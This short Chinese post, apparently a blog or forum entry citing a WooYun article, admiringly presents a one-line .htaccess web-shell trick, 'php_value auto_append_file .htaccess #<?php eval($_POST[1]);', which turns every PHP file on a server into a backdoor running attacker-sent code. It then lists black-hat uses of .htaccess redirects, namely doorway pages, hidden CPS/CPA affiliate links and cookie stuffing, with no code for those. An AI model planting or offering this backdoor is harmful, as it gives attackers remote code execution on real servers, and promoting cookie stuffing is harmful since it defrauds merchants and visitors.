今天在乌云看到的文章,虽然方法很早大家都在用的,还是在说一遍太机智了
PHP .htaccess: php_value auto_append_file .htaccess #<?php eval($_POST[1]);
然后任意文件都是后门了,
由此又有想到了 .htaccess 几个黑帽子上的用法 代码就不说了htaccess跳转 代码很多
可以做桥页 隐藏cps cpa链接 或者做cookie stuffing 杀人于无形 有时候就是很简单